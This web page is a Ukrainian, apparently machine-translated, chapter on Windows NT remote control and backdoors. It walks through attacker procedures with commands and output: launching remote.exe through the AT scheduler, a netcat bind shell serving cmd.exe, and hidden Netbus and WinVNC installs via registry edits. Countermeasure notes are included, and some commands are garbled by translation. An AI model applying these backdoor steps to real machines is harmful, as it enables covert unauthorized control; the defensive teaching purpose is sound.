LU.NET.UA - Захист інформації в інтернеті

:: Меню ::

Головна
Введення

Частина I.
Вивчення мети

1. Попередній збір даних
2. Сканування
3. Інвентаризація

Частина II.
Уразливість систем

4. Уразливість Windows 95/98/me
5. Уразливість Windows NT
6. Уразливість Windows 2000

Частина III.
Уразливість мереж

9. Уразливість видалених з'єднань, РВХ, Voicemail і віртуальних приватних мереж
10. Мережеві пристрої
11. Брандмауери
12. Атаки DOS

   Частина IV.
Уразливість програмного забезпечення

13. Вади засобів видаленого управління
14. Розширені методи
15. Уразливість в Web
16. Атаки на користувачів Internet
 Братани
Карта сайту
Добавити у вибране

:: Друзі ::

--

:: Статистика ::

 

 

 

 

 


Видалене управління і потайні ходи

Ми не раз відзначали, що в системі NT недостатньо добре йдуть справи з видаленим виконанням команд, проте до цього моменту картина освітлювала декілька однобоко. Річ у тому, що після отримання статусу адміністратора у зломщика з'являється цілий ряд можливостей виконання таких операцій.

 Утиліта remote.exe (NTRK)


До складу NTRK входять дві утиліти, що забезпечують видалене виконання команд: Remote Command Line (remote.exe) і Remote Command Service (rcmd.exe і rcmdsvc.exe, клієнт і сервер відповідно). Ці утиліти включені лише в серверний варіант NTRK.
З них велику загрозу представляє утиліта remote.exe, оскільки її легко встановити і вона простіша у використанні. Складність застосування rcmdsvc. exe в основному пояснюється тим, що її потрібно встановити і запустити на видаленому комп'ютері як службу, тоді як remote.exe не потребує додаткових засобів і може працювати як в режимі сервера, так і в режимі клієнта. Потрібний режим легко задати за допомогою параметра командного рядка (remote.exe /с— для клієнта, remote.вхв /s —- для сервера). Проте з утилітою remote.exe виникає інша проблема з розряду "Що було раніше — курка або яйце?" Річ у тому, що для її запуску на видаленому комп'ютері як сервер спочатку необхідно, щоб на цьому комп'ютері було дозволено видалене виконання команд. Ця проблема вирішується тільки за наявності доступу як адміністратор, з використанням служби Schedule системи NT, також відомою як команда AT (яка доступна тільки адміністраторам).
Для початку потрібного скопіювати файл remote. exe в каталог видаленої системи, в якому дозволено виконання програм. Найпростіше це зробити, підключившись до спільно використовуваного системного ресурсу с$ як адміністратор і скопіювати вказаний файл в каталог %systemroot%\system32. При цьому утиліта, з одного боку, знаходитиметься в каталозі, в якому Windows за умовчанням проводить пошук виконуваних файлів, а з іншої — її буде важко випадково виявити серед безлічі різних системних файлів.
Потім необхідно запустити скопійовану утиліту remote. exe за допомогою команди AT. Проте, перш ніж це зробити, потрібно провести підготовчу роботу. По-перше, на видаленій системі має бути запушена служба Schedule. З цим завданням може справитися ще одна прекрасна утиліта Service Controller (sc.exe) з набору NTRK. Після цього за допомогою команди net time необхідно звірити годинник локальної системи з годинником видаленою, як показано нижче. 

С:\> ас \\192.168.202.44 start schedule
Service_name: schedule
TYPE 10 Win32_own_process
STATE 2 Start_pending
(Not_stoppable,not_pausable,ignores_shutdown)
Win32_exit_code 0 (0x0)
Service_exit_code 0 (0x0)
CHECKPOINT 0x0
Wait_hint Oxvdo
C:\> net time \\192.168.202.44
Current time at \\192.168.202.44 is 5/29/99 10:38 PM
The command completed successfully.

Для запуску команд протягом декількох секунд можна використовувати утиліту soon з набору NTRK.

Тепер можна скористатися командою AT і запустити екземпляр remote. exe в серверному варіанті, запланувавши запуск через дві хвилини від поточного часу зламуваного комп'ютера (для використання в команді пропусків її необхідно укласти в подвійні лапки). За допомогою другої команди, як показано нижче, можна переконатися, що завдання було заплановане коректно (для виправлення помилок скористайтеся першою командою AT з параметром [номер завдання] /delete).

С:\> at \\192.168.202.44 10:40р ""remote /s cmd
secret""

Added а new job with job ID = 2
C:\> at \\192.168.202.44
Status ID Day Time Command Line
2 Today 10:40 PM remote /s cmd secret

Коли наступає момент виконання запланованої команди, відповідний номер завдання зникає з лістингу, що виводиться командою AT. Якщо команда була введена коректно, це означає, що сервер remote заробив. Тепер зломщик має доступ до командного рядка видаленої системи за допомогою клієнтського режиму команди remote. Щоб уникнути плутанини ми використовуємо в прикладі для локальної системи запрошення D:>, а для видаленої — З:>. У даному прикладі використовується команда DIR для проглядання каталога видаленої системи, а потім за допомогою команди @Q завершується робота клієнта, а сервер продовжує працювати (команда @к завершує роботу сервера).

D:\> remote /с 192.168.202.44 secret
*****************************
*********** remote **********
*********** CLIENT **********
*****************************
Connected..
Microsoft(R) Windows NT(ТМ)
(C) Copyright 1985-1998 Microsoft Corp.
C:\> dir winnt\repair\sam._
dir winnt\repair\sam._ Volume in drive З has no label.
Volume Serial Number is D837-926f
Directory of C:\winnt\repair
05/29/99 04:43p 10,406 sam.
_1 File(s) 10,406 bytes
1,243,873,280 bytes free
C:\> @q
*** SESSION OVER ***
D:\>

Так, мабуть, навряд чи хлоп'ята з Microsoft могли придумати щось еше простіше для хакера середньої руки! Тепер ми можемо запускати файли на видаленій системі, хоча тільки з командного рядка. Еше одним обмеженням утиліти remote.exe є те, що програми, що використовують консольний програмний інтерфейс Win32, також працювати не будуть. Проте у будь-якому випадку це краще, ніж взагалі відсутність можливості видаленого запуску. Як ми незабаром побачимо, з її допомогою на видаленій системі можна встановити могутніші засоби управління.
Нарешті, необхідно відзначити ще одну важливу властивість утиліти remote.exe, яке полягає в підтримці іменованих каналів. Вона працюватиме на будь-яких двох вузлах, що підтримують один і той же протокол, — IPX, Tcp/ip або NETBEUI.

Видалений доступ до командної оболонки за допомогою netcat


Ще одним простим способом організації "потайного ходу" є застосування "армійського швейцарського ножа Tcp/ip"— утиліти netcat (http://www.ldpht. com/netcat). Утиліту netcat можна набудувати на прослуховування певного порту з подальшим запуском виконуваної програми, якщо видалена система підключається до даного порту. Набудувавши утиліту netcat на запуск інтерпретатора командного рядка NT, можна зробити так, щоб цей інтерпретатор запустився на видаленій системі. Синтаксис для запуску команди netcat в режимі прихованого прослуховування приведений в наступному прикладі. Параметр -l дозволяє відновлювати розірване з'єднання; -d активізує режим прихованого прослуховування (тобто без обміну інформацією з консоллю); -е дозволяє задати програму, що запускається (в даному випадку — інтерпретатор командою рядка NT cmd. exe); а -р указує порт, який прослуховуватиметься. С:\temp\nc1lnt>nc -l -d -і and.exe -p 8080
Тепер будь-який зловмисник, що підключився до порту 8080, зможе на видаленому комп'ютері запустити інтерпретатор командного рядка. У наступному прикладі показано, як, підключившись до вищезгаданого порту даного вузла (192.168.202.44), дістати видалений доступ до інтерпретатора командного рядка. Для того, щоб усунути плутанину, ми знову використовуємо в локальній системі запрошення D: \>, а у видаленій — З: \TEMP\NC11NТ>.

D:\> nc 192.168.202.44 8080
Microsoft(R) Windows NT(ТМ)
(С) Copyright 1985-1996 Microsoft Corp.
С:\temp\nc11nt>
С:\temp\nc1lnt>ipconfig
ipconfig
Windows NT IP Configuration Ethernet adapter Fem5561:
IP Address. ........: 192.168.202.44
Subnet Mask ........: 255.255.255.0
Default Gateway ......: C:\temp\ncllnt>exit
D:\>

Таким чином, тепер видалений користувач може виконувати команди і запускати програми. Тепер доля видаленого комп'ютера цілком і повністю залежить лише від фантазії зломщика.

Netbus


Неможливо, розповідаючи про безпеку NT, умовчати про Netbus — "старшій сестрі" широко відомої утиліти Back Orifice (У) для Win 9x, розробленою групою хакерів "Культ мертвої корови" (cdc — Cult of the Dead Cow). Вона призначена для видаленого управління і хакинга. Головна відмінність між Netbus і В полягає в тому, що перша працює як на платформі Windows NT, так і в Win 9x (правда, останні версії В також працюють в NT — докладніше за див. в наступному розділі "Back Orifice 2000"). Перша версія утиліти, розробленою Карлом-фріде-ріком Нейктером (Carl-fredrik Neikter), розповсюджувалася безкоштовно, але на початку 1999 року версія, що з'явилася, 2.0 вийшла вже у варіанті Netbus Pro, який розповсюджується вузлом http://www.netbus.org за ціною $15. У новій версії було усунено багато проблем Netbus, такі як необхідність фізичного доступу для її використання в режимі прихованої роботи, а також несумісність з деякими засобами доставки "троянських коней". Проте "зламані" версії утиліти, що є на хакреських вузлах в Internet, не підтримують даних можливостей. Таким чином, в Internet можна знайти лише недостатньо надійні версії Netbus (остання версія, випущена перед виходом Netbus Pro, мала номер 1.7). Враховуючи, скільки нових можливостей реалізовано в професійній версії, ми не витрачатимемо час на опис методів використання попередніх версій.
Netbus — це додаток, створений на базі архітектури клієнт/сервер. Сервер називається NBSVR.EXE, проте його, звичайно ж, можна перейменувати, привласнивши йому інше ім'я. Для того, щоб клієнт міг встановити з'єднання з видаленою системою, на ній спочатку має бути запущений сервер. Хоча ніщо не перешкоджає установці Netbus без привілеїв адміністратора шляхом використання вкладення поштового повідомлення або якого-небудь іншого прийому, вірогідність успіху такого методу буде низькою, якщо системний адміністратор зробив відповідні заходи захисту (іншими словами — ніколи не запускайте файлів, присланих по електронній пошті або яким-небудь іншим способом невідомими вам особами). Тому ми розглядатимемо утиліту Netbus в контексті ситуації, коли вона скритно встановлена зломщиком, що володіє привілеями адміністратора.
Перше, що повинен зробити зловмисник, — скопіювати NBSRV.EXE у каталог %systemroot%\system32. Крім того, необхідно набудувати Netbus для запуску в прихованому режимі. Зазвичай цей режим активізується за допомогою графічного призначеного для користувача інтерфейсу, проте оскільки при видаленому доступі графічний інтерфейс використовувати неможливо, для внесення відповідних змін до системного реєстру доведеться скористатися засобом редагування системного реєстру regini . exe, що входить до складу NTRK.
Для внесення змін до системного реєстру утиліта regini як вхідні дані повинна отримати відповідний текстовий файл. Тому спочатку потрібно створити такий файл (у даному прикладі ми назвемо його NETBUS.TXT) і помістити в нього параметри, які необхідно внести до системного реєстру. Найпростіший метод створення такого файлу полягає в отриманні його за допомогою локальної установки Netbus Pro 2.01 і утиліти regdmp з набору NTRK. У приведеному нижче прикладі лістинг, що згенерував утилітою regini в процесі внесення змін до системного реєстру видаленої системи, відображає перелік параметрів, які мають бути присутніми у файлі NETBUS.TXT.

D:\temp>regini -m \\192.168.202.44 netbus.txt
Hkey_local_machine\software\net Solutionsxnetbus Server
General
Accept = 1
Tcpport = 80
Visibility = 3
Accessmode = 2
Autostart = 1
Protection
Password = impossible

Дані параметри управляють основними функціями утиліти Netbus. Найважливішими з них є наступні: General\tcpport, який настроює сервер NBSVR на прослуховування порту 80 (це лише рекомендація, оскільки порт HTTP, швидше за все, не фільтруватиметься маршрутизатором); visibility = 3, значення, задаюче режим прихованої роботи; Autostart = 1, що включає режим автоматичного запуску серверної частини NBSVR при завантаженні Windows (при цьому автоматично створюється додатковий параметр реєстру в групі Hklm\software\ Microsoft\windows\currentversion\runservices, що містить значення з типом Reg_sz виду С:\winnt\system32\nbsvr.EXE).
Після того, як системний реєстр відредагований, можна запустити NBSRV.EXE з командного рядка видаленої системи, а потім запустити клієнтську частину на локальній системі і підключитися до сервера, що знаходиться в стані очікування. На наступному малюнку показаний графічний призначений для користувача інтерфейс Netbus, в меню якого вибрана команда Reboot, за допомогою якої на видаленій системі можна, виконати один їх "найжорстокіших" трюків — перезавантаження.


Більшість решти команд включена в програму, швидше для "безневинних витівок", а не для витягання якоїсь користі (відкриття і закриття дисковода компакт-дисків, блокування клавіатури і так далі). Одним з небагатьох дійсно корисних засобів є реєстратор натиснення клавіш, діалогове вікно якого показане нижче. Крім того, за допомогою такої корисної функції, як перенаправлення портів, можна використовувати зламаний комп'ютер як плацдарм для проникнення на інші вузли мережі.


Контрзаходи проти використання Netbus


Показані вище зміни в системному реєстрі дуже просто виявити і видалити, проте старіші версії Netbus розміщували файл змін реєстру і файл сервера в різних місцях і під різними іменами (раніше виконуваний файл серверної частини Netbus за умовчанням називався patch.exe і часто перейменовувався в [space] .exe). Крім того, різні версії Netbus прослуховують різні порти (чаші всього за умовчанням використовуються порти 12345 і 20034). Нарешті, всі встановлені за умовчанням конфігураційні параметри легко модифікувати відповідно до бажань зломщика. Тому сама краща рада, яку ми можемо дати, полягає в тому, щоб знайти хорошу утиліту, що дозволяє видалити Netbus. Сучасні антивірусні пакети легко справляються з цим завданням, тому потрібно їх регулярно використовувати. Проте спочатку переконаєтеся, що антивірусний пакет в процесі перевірки не обмежується пошуком імен стандартних файлів Netbus і параметрів системного реєстру. Крім того, ми вважаємо, що потрібне також регулярно перевіряти параметри, керівники запуском програм при завантаженні Windows (див. розділ "Параметри Реєстру, що Забезпечують Виконання Програм" вище в даному розділі), оскільки позбавитися від шкідливої програми, яка всякий раз запускається разом з Windows, неможливо.
Без сумніву, утиліта Netbus заслуговує на набагато більшу увагу, чим ми приділили їй, проте необхідно відзначити, що в даний час є зручніші засоби видаленого управління, які не тільки мають графічний інтерфейс, але і розповсюджуються в Internet безкоштовно (див. нижче розділ "Видалена Атака На GUI Системи NT За допомогою Winvnc"). Проте часто утиліта Netbus встановлюється в процесі установки інших засобів, що забезпечує зломщикові простір для маневру. Отже будьте дуже уважні.

Back Orifice 2000


Хоча перша версія Back Orifice не працювала в системі NT, всього за рік її програмісти з групи хакерів "Культ мертвої корови" (Cult of the Dead Cow) справилися із завданням перенесення свого дітища на цю платформу. Версія Back Orifice 2000 (Во2к) з'явилася 10 липня 1999 року, ніж неабияк зіпсувала настрій адміністраторам NT, які сміялися над Во9х По функціях Во2к, що надавалися, практично не відрізняється від Во9х в тому, що стосується видаленого управління. Ми вже детально розглядали відповідні функції в розділі 4, тому не повторюватимемо їх тут ще раз, а зосередимося лише на тому, як розпізнати і видалити Во2к, встановлену у вашій мережі.

Контрзаходи: захист від Back Orifice 2000


Як і у випадку з Netbus, більшість провідних розробників антивірусного програмного забезпечення відновили свої програмні продукти, так що тепер з їх допомогою можна розпізнати і видалити Во2к. Тому найпростіший спосіб забезпечити себе від Во2к — регулярно оновлювати антивірусний пакет. Існують також і спеціальні засоби виявлення і видалення В, проте до них потрібно відноситися з обережністю. Деякі з них не видаляють Во2к, а встановлюють, граючи роль "троянських коней". Одним з продуктів, яким можна довіряти, є Internet Scanner компанії Internet Security Systems (ISS). З його допомогою можна виявити присутність Во2к в мережі, перевіряючи очікування запитів, що все знаходяться в режимі, порти.
Одін з кращих методів видалення Во2к полягає у використанні самої програми. У меню утиліти Sever Command Client (bo2kgui) з набору Во2к є команда Server Control^shutdown Server, призначена для видалення сервера.
На жаль, необхідно відзначити, що всі описані вище контрзаходи істотно ослабляються тією обставиною, що розробники програми Во2к опублікували її початковий код. Це може привести до появи модифікацій Back Orifice, виявити які буде не так просто. Тому ефективніше рішення лежить не стільки в технічній, скільки в організаційній плоскості, і полягає в навчанні користувачів і поясненні ним, наскільки небезпечно запускати програми, отримані по електронній пошті або завантажені з вузлів Internet.

Видалена атака на GUI системи NT за допомогою WINVNC


Видалене управління за допомогою утиліт командного рядка — це добре, але все таки NT є операційною системою з могутнім графічним інтерфейсом. Програма Netbus надає можливість видаленого управління за допомогою графічного інтерфейсу, але версія, наявна в нашому розпорядженні під час написання книги, працює дуже поволі і до того ж нестабільно. Проте, існує прекрасний засіб, вільний від всіх цих недоліків, — пакет Virtual Networking Computing (VNC), створений кембріджською лабораторією At&t і поширюваний через http: //www.uk.research.att.com/vnc (докладніше обговорення VNC приведене в розділі 13). Одна з причин, по якій VNC вигідно відрізняється від інших програм аналогічного призначення (окрім такого примітного факту, що VNC абсолютно безкоштовна!), полягає в тому, що її установка через видалене мережеве з'єднання виконується не набагато складніше, ніж локальна установка. Використовуючи видалений сеанс командного рядка, який був розглянутий вище, достатньо лише встановити на видалений комп'ютер службу VNC і забезпечити її прихований запуск, внісши одно-едінственноє зміну до системного реєстру. Нижче приведений короткий опис цієї процедури, але для того, щоб краще знатися на методах управління VNC з командного рядка, ми все ж таки рекомендуємо вивчити повну документацію по VNC, яку також можна знайти за вказаною вище адресою URL.
Перший етап полягає в копіюванні виконуваного файлу і бібліотек VNC (WINVNC.EXE, Vnchooks.DLL І Omnithread_rt.DLL) на видалений комп'ютер, який після установки гратиме роль сервера. Для цього можна використовувати будь-який каталог, але краще всього "укрити" ці файли "глибоко в надрах" каталога %systemroot%. Необхідно також враховувати, що після запуску сервера останні версії WINVNC автоматично поміщають невелику зелену піктограму на панелі завдань. Запуск з командного рядка версій 3.3.2 і раніших менш непомітний для користувачів (звичайно, це не розповсюджується на список процесів, в якому без зусиль можна відшукати WINVNC. EXE).
Після того, як файл WINVNC.EXE скопійований, необхідно набудувати доступ до VNC з використанням пароля, оскільки при запуску служби WINVNC за умовчанням на екрані з'являється діалогове вікно, що вимагає введення пароля, перш ніж служба вирішить ті, що входять з'єднання (стурбованість розробників питаннями безпеки просто розчулює!). Крім того, службі WINVNC необхідно знаходитися в режимі очікування вхідних з'єднань, що також настроюється за допомогою графічного інтерфейсу. Для того, щоб набудувати відповідні параметри програми, потрібно безпосередньо внести необхідні зміни до видаленого системного реєстру за допомогою утиліти regini. exe, як це було зроблено при видаленій установці Netbus.
Спочатку потрібно створити файл WINVNC. INI і внести до нього що підлягають зміні параметри системного реєстру і їх значення. Приведених в наступному прикладі значень були набуті з реєстру локального комп'ютера після установки на нім WINVNC з використанням утиліти regdmp з набору NTRK (бінарне представлення пароля відповідає рядку secret).
Ось вміст файлу WINVNC. INI.

Hkey_usersx.DEFAULTXSoftware\ORL\WinVNC3
Socketconnect = Reg_dword 0x00000001
Password = Reg_binary 0x00000008
Ox57bf2d2e Ох8е6сbо6е

Потім за допомогою утиліти regini ці параметри необхідно помістити в системний реєстр видаленого комп'ютера.

С:\> regini -m \\192.168.202.33 winvnc.ini
Hkey_users\.DEFAULTXSoftware\ORL\WinVNC3
Socketconnect = Reg_dword 0x00000001
Password = Reg_binary 0x00000008 Ox57bf2d2e Охее6сbо6е

Нарешті встановите програму WINVNC як службу і запустите її. У наступному прикладі показано, як це зробити за допомогою видаленого сеансу командного рядка. С:\> winvnc -install

С:\> net start winvnc
The VNC Server service is starting.
The VNC Server service was started successfully.

Тепер можна запустити додаток vncviewer і підключитися до видаленого комп'ютера. Нижче показано два діалогові вікна, в першому з яких додаток vnc viewer повідомляє користувача про те, що встановлений сеанс зв'язку з "дисплеєм Про", що має IP-адрес 192.168.202.33. (Синтаксис вузол-дисплей еквівалентний прийнятому в системі віконного інтерфейсу X Window системи UNIX. Всі системи, що працюють під управлінням Windows, за умовчанням позначаються як дисплей 0.) Друге діалогове вікно призначене для введення пароля (ви ще не забули, яке слово ми вибрали як пароль?).


Вуаля! Перед вами у всій своїй красі з'являється зображення робочого столу видаленого комп'ютера, як показано на мал. 5.9. При цьому покажчик миші поводиться так, немов ви тримаєте в руках не свою мишу, а мишу видаленого комп'ютера.
Очевидно, що можливості VNC дивовижні: ви можете навіть скористатися комбінацією клавіш <Ctrl+alt+del> для перезавантаження видаленої системи.

Зупинка і видалення WINVNC


Найпростіший спосіб зупинки служби WINVNC і її видалення полягає у використанні двох наступних команд.

net stop winvnc
winvnc -remove

Для видалення параметрів, що залишилися в реєстрі, скористайтеся утилітою з набору NTRK REG.EXE, як показано в наступному прикладі.

C:\>reg delete \\192.168.202.33
Hkey_local_machine\system\
Currentcontrolset\services\winvnc




:: Реклама ::

>Страница статей


:: Посилання ::

-


:: Рекомендуємо ::

-


 

 

 

 


Copyright © Klab-F 2024